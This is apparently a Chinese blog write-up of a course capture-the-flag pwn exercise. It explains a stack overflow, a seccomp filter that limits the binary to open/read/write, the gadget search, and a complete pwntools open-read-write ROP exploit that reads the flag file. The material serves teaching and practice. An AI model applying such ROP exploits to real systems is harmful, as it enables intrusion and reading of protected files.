题目链接: https://tangzichengcc.github.io/2023/03/17/pwn入门-22-ucas课堂练习rop之orw/rop

​ 课上的一个小练习,理论上应该不难的..但是卡了很久…因为基础不牢+菜

反汇编代码查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF

v3 = -1;
install_seccomp(argc, argv, envp);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to the Santa's gift!");
puts("your choice:");
__isoc99_scanf("%d", &v3);
if ( v3 == 4919 )
{
vuln();
}
else
{
if ( v3 != 9011 )
_exit(1);
some_gifts();
}
_exit(0);
}

ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x150uLL);
}

ssize_t some_gifts()
{
char s[16]; // [rsp+0h] [rbp-1010h] BYREF
int fd; // [rsp+100Ch] [rbp-4h]

fd = sys_open("./gifts.txt", 0LL);
memset(s, 0, 0x1000uLL);
if ( read(fd, s, 0x1000uLL) < 0 )
{
puts("read error");
_exit(1);
}
return write(1, s, 0x1000uLL);
}

检查安全措施

​ install_seccomp、

​ 看到这个函数就知道有seccomp保护措施,限制了一些系统调用的使用,于是使用工具进行检查,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@VM-24-10-ubuntu:/tmp# seccomp-tools dump ./rop
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014
0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013
0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013
0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013
0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013
0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013
0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013
0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013
0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013
0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL

​ 能够看到只允许用open read write这几个,一般来说pwn题是要拿到权限的,但是根本目的是拿到flag,所以即便拿不到shell,也可以利用这几个函数调用来读取和打印flag

解题步骤

寻找gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@VM-24-10-ubuntu:/tmp# ROPgadget --binary rop  --only 'pop|ret'  
Gadgets information
============================================================
0x00000000004014fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401500 : pop r14 ; pop r15 ; ret
0x0000000000401502 : pop r15 ; ret
0x00000000004014fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014ff : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040121d : pop rbp ; ret
0x0000000000401503 : pop rdi ; ret
0x0000000000401501 : pop rsi ; pop r15 ; ret
0x00000000004014fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401297 : ret 0x2be

Unique gadgets found: 12

​ 根据调用约定,rdi rsi rdx是函数的前三个参数,但是没有找到pop rdx的gadget. ret2csu方法里是可以间接修改rdx的,不过事实上,这道题不需要管第三个参数,具体原因还未知.

布局函数

​ 这里有一个很重要的问题,就是二进制文件中不存在flag这四个字符,因为后面读取flag,需要用到这个字符串,所以需要先获取这四个字符. 获取之后利用传统的orw来进行打开,读取和写出flag.

open(’文件名‘,0,0)

read(文件描述符,‘文件名’,读取大小) read比较特殊, 第一个文件描述符 0标准输入(从用户输入获取值) 1 标准输出,2标准错误 345..就是文件描述符了,当第一个参数是0的时候,第二个参数就不是文件名了,而是要写入的内存地址

write(1,‘文件名’,写大小)

​ 所以分了四个步骤,如下

  • read(0,写入的内存地址,0x30)

  • open(‘flag’,0,0)

  • read(3,‘flag’,0x30) 从打开的文件中读取

  • write(1,‘flag’,0x30) 标准输出

编写payload

​ 256溢出+8字节rbp,然后就是返回地址了,构造rop链,下面四行分别对应着上面的四步

​ poprsi的话,没有单独的 ,只有 0x0000000000401501 : pop rsi ; pop r15 ; ret, 所以在它后面再加一个垃圾数据.上面说过,没有pop rdx,所以我们只需要控制前两个参数即可

1
2
3
4
payload = "a"*264 + p64(poprdi) + p64("0") + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr) 
payload += p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)
payload += p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)
payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)

​ 但是这里还有问题,就是payload的长度太长,溢出只有0x150 - 256 - 8 =72字节,是不够用的,所以这里需要再进行调整,有两个办法,一个是可以多次溢出,四步可以分四步来进行,每完成一步,再跳回到vul函数开头,重新溢出执行下一步,第二个办法是进行栈迁移,把栈移到更大的空间去

1
2
3
4
payload = b"a"*264 + p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)
payload1 = b"a"*264+p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)+p64(vuladdr)
payload2 = b"a"*264+p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)
payload3 = b"a"*264+p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)+p64(vuladdr)

​ 分四次发送即可,每次在最后跳回vul函数开头

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import time

sh = remote("xxx",xxx)
#sh = process("./rop")
context.log_level= "debug"
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x000004013AE")

poprdi = 0x0000000000401503
poprsi = 0x0000000000401501
popr13 = 0x00000000004014fe
scanfaddr = 0x0000000000401451
bssaddr = 0x0000404100 + 0x100
readaddr = 0x000000401100
openaddr = 0x00000004012C9
writeaddr = 0x000000004010E0
start = 0x000401432
vuladdr = 0x0000000401384
payload = b"a"*264 + p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)
payload1 = b"a"*264+p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)+p64(vuladdr)
payload2 = b"a"*264+p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)
payload3 = b"a"*264+p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)+p64(vuladdr)
#input()
sh.sendlineafter("choice:",str(4919))
sh.sendline(payload)
sh.send("flag") # 不能用sendline 会有\n
sh.sendline(payload1)
sh.sendline(payload2)
sh.sendline(payload3)
sh.recv(1024)
sh.interactive()

细节注意

open write read函数选择

​ 一开始选的是 .text:0000000000401313 E8 B1 FF FF FF call sys_open ,这肯定是不对的,因为这里的话,控制流到了这里,执行完call没有ret会继续往下执行,就乱套了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:000000000040130C                 lea     rdi, aGiftsTxt  ; "./gifts.txt"
.text:0000000000401313 call sys_open
.text:0000000000401318 mov [rbp+fd], eax
.text:000000000040131B lea rax, [rbp+s]
.text:0000000000401322 mov edx, 1000h ; n
.text:0000000000401327 mov esi, 0 ; c
.text:000000000040132C mov rdi, rax ; s
.text:000000000040132F call _memset
.text:0000000000401334 lea rcx, [rbp+s]
.text:000000000040133B mov eax, [rbp+fd]
.text:000000000040133E mov edx, 1000h ; nbytes
.text:0000000000401343 mov rsi, rcx ; buf
.text:0000000000401346 mov edi, eax ; fd
.text:0000000000401348 call _read
.text:000000000040134D test rax, rax
.text:0000000000401350 jns short loc_401368
.text:0000000000401352 lea rdi, aReadError ; "read error"
.text:0000000000401359 call _puts
.text:000000000040135E mov edi, 1 ; status
.text:0000000000401363 call __exit

​ 应该调用plt这个,这个调用完之后会ret返回

1
2
3
4
5
.plt.sec:0000000000401100 _read           proc near               ; CODE XREF: some_gifts+59↓p
.plt.sec:0000000000401100 ; vuln+23↓p
.plt.sec:0000000000401100 endbr64
.plt.sec:0000000000401104 bnd jmp cs:off_404038
.plt.sec:0000000000401104 _read endp

send、sendline

​ sh.send(“flag”) # 不能用sendline 会有\n 第一次read读取flag文件名的时候,不能用sendline,否则会有个回车,就不是正确的文件名了